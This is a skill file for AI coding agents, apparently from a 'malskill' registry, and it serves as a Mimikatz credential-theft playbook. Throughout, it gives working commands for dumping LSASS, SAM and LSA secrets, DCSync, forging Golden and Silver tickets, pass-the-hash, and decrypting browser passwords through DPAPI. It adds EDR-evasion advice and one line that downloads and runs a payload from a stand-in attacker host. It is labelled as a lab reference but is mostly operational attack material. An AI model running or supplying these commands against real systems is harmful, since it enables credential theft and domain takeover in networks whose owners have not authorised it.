offensive-tools/windows/mimikatz/SKILL.md
Auth/lab ref: Mimikatz secret-exposure audit; LSASS, DPAPI, Kerberos tickets/keys, token/ticket artifacts, Windows lab validation.
npx skillsauth add aeondave/malskill mimikatzInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Windows credential extraction — LSASS dump, DPAPI, Kerberos, token impersonation, and ticket attacks.
SeDebugPrivilege is required for most operations. Enable first:
privilege::debug
Run from admin shell. If UAC active: run mimikatz.exe as Administrator.
Dump all cached credentials from LSASS — NTLM hashes, plaintext (if WDigest enabled), Kerberos keys.
privilege::debug
sekurlsa::logonpasswords
Useful fields in output:
Username / Domain — target accountNTLM — NT hash (use for PTH)Password — plaintext only if WDigest active or old OS (pre-Win8.1/2012R2)SHA1 / AES128 / AES256 — Kerberos keys for asktgtDump WDigest credentials (requires WDigest provider active).
sekurlsa::wdigest
Enable WDigest for future logons (then wait for a new logon):
# Registry — enable
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# Then trigger new logon (e.g., lock/unlock, or wait)
sekurlsa::wdigest
Dump Windows Credential Manager stored credentials.
sekurlsa::credman
Dump MSV1_0 auth provider credentials (NTLM hashes, domain creds).
sekurlsa::msv
Dump Kerberos provider (AES keys, cached passwords).
sekurlsa::kerberos
Dump local SAM database hashes (local accounts).
privilege::debug
token::elevate
lsadump::sam
Dump LSA secrets (service account passwords, DPAPI master keys, machine account hash, cached domain credentials).
token::elevate
lsadump::secrets
High-value LSA secrets:
_SC_* — service account passwordsDPAPI_SYSTEM — DPAPI system key for decrypting user DPAPI blobs$MACHINE.ACC — machine account NT hash (useful for Kerberos auth)DefaultPassword — autologon passwordDump cached domain credentials (MS-CACHE v2) — offline crackable.
token::elevate
lsadump::cache
Crack: hashcat -a 0 -m 2100 cache_hashes.txt wordlist.txt
DCSync — pull any account's hash from DC using replication API. Requires DA or explicit replication rights.
# Single account
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /user:administrator
# All accounts (slow, very noisy)
lsadump::dcsync /domain:corp.local /all
# Dump from specific DC
lsadump::dcsync /domain:corp.local /user:krbtgt /dc:dc01.corp.local
Dump LSA online (patch LSA in memory).
lsadump::lsa /patch
lsadump::lsa /inject
List and dump Kerberos tickets from LSASS memory.
sekurlsa::tickets
sekurlsa::tickets /export # save .kirbi files to disk
List current session tickets.
kerberos::list
kerberos::list /export
Pass-the-Ticket — inject .kirbi ticket into current logon session.
kerberos::ptt ticket.kirbi
kerberos::ptt C:\path\to\ticket.kirbi
# Verify injection
klist
Remove all Kerberos tickets from session (clean up).
kerberos::purge
Forge TGT using krbtgt hash — persists even after password resets (until krbtgt is reset twice).
Requirements: krbtgt NTLM hash, domain SID, domain name, target username.
# Get krbtgt hash + domain SID
lsadump::dcsync /domain:corp.local /user:krbtgt
# Forge Golden Ticket
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /krbtgt:KRBTGT_NTLM_HASH /id:500 /ptt
# With AES256 (more stealthy — avoids RC4 downgrade detection)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /aes256:KRBTGT_AES256 /id:500 /ptt
# Save to file (for later use)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /id:500 /ticket:golden.kirbi
Key flags:
/id:500 — RID 500 = built-in administrator/groups:512,513,518,519,520 — add to DA/EA/Schema Admin groups/ptt — inject immediately; omit to save file/startoffset:-10 — backdate 10 min (avoid clock skew detection)/endin:600 /renewmax:10080 — ticket validity windowForge TGS for specific service using service account hash — does not touch DC (no DC logs).
Requirements: service account NTLM hash, domain SID, SPN, target username.
# Forge Silver Ticket for CIFS on target machine
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt
# LDAP service (for DCSync-like ops without touching LSASS on DC)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:dc.corp.local /service:ldap /rc4:DC_NTLM_HASH /ptt
# HTTP service
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:webserver.corp.local /service:http /rc4:SERVICE_HASH /ptt
# MSSQL
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:sql.corp.local /service:MSSQLSvc /rc4:SVC_HASH /ptt
Spawn process using NTLM hash without knowing plaintext password.
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe
# With AES256 (Kerberos PTK)
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /aes256:AES_KEY /run:powershell.exe
# Spawn specific process for lateral movement
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:"mmc.exe"
Impersonate tokens from other processes — escalate or pivot without credential extraction.
# List available tokens
token::list
# Elevate to SYSTEM
token::elevate
# Elevate to domain admin token (if present in process list)
token::elevate /domainadmin
# Impersonate specific user by process
token::impersonate
# Revert to original token
token::revert
Workflow: elevate for LSA ops
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
token::revert
DPAPI protects browser credentials, vault passwords, wifi keys, RDP credentials, and more.
# Chrome/Edge saved passwords (user context)
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
# Edge
dpapi::chrome /in:"%localappdata%\Microsoft\Edge\User Data\Default\Login Data" /unprotect
# Chromium-based: works with current user DPAPI key automatically
# List vault credentials
vault::list
# Dump vault (may need SYSTEM for machine vault)
vault::cred /patch
# Get DPAPI system key (from LSA secrets — needs SYSTEM)
token::elevate
lsadump::secrets
# Decrypt a specific blob with masterkey
dpapi::blob /masterkey:MASTERKEY_HEX /in:blob.bin
# Find and list masterkeys
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-...\GUID"
# With domain backup key (if you have it)
dpapi::masterkey /in:MASTERKEY_FILE /pvk:domain_backup.pvk
# Wifi passwords
dpapi::wifi /in:"%programdata%\Microsoft\Wlansvc\Profiles\Interfaces\{GUID}\{PROFILE}.xml"
# Cmdkey-stored RDP credentials
dpapi::rdg /unprotect
# List certificates in current user store
crypto::certificates
# List and export (including private keys)
crypto::certificates /export
# System store (requires SYSTEM)
token::elevate
crypto::certificates /systemstore /export
When dropping mimikatz.exe is detected, use these alternatives:
# Load from memory (no disk artifact)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# Dump to remote host
Invoke-Mimikatz -DumpCreds -ComputerName TARGET
# .NET, fork+dump, avoids direct LSASS handle
SafetyKatz.exe "sekurlsa::logonpasswords" "exit"
# procdump.exe (Sysinternals)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# comsvcs.dll (LOLBin — built-in)
tasklist /fi "imagename eq lsass.exe" # get PID
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full
# xordump / via shadow copy
# Copy ntds.dit via shadow copy:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\loot\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\
Parse dump offline (on attacker machine):
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
privilege::debug
token::elevate
sekurlsa::logonpasswords
lsadump::sam
lsadump::secrets
lsadump::cache
exit
# 1. Extract NTLM from SAM
sekurlsa::logonpasswords
# 2. PTH to spawn session as admin
sekurlsa::pth /user:administrator /domain:corp /ntlm:HASH /run:cmd.exe
# 3. DCSync from admin context
lsadump::dcsync /domain:corp.local /user:krbtgt
# 4. Forge Golden Ticket
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
privilege::debug
token::elevate
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
dpapi::chrome /in:"%localappdata%\Microsoft\Edge\User Data\Default\Login Data" /unprotect
vault::cred /patch
exit
sekurlsa::logonpasswords opens a handle to LSASS (access rights 0x1010) → triggers EDR alertslsadump::dcsync generates Event 4662 (replication requested) on DC — monitoredmimikatz.exe binary → high-confidence EDR/AV detection (use in-memory or BOF)comsvcs.dll MiniDump for LSASS dump — it's a LOLBin, less detected than procdumptoken::elevate) is needed before lsadump::sam/secrets — do it beforeexit at end to capture mimikatz output when redirecting stdout| File | When to load |
|------|--------------|
| references/credential-theft-tradecraft.md | DPAPI architecture + offline decrypt, Chrome App-Bound bypass, PPL bypass, Credential Guard behavior, in-memory alternatives, EDR detection notes |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.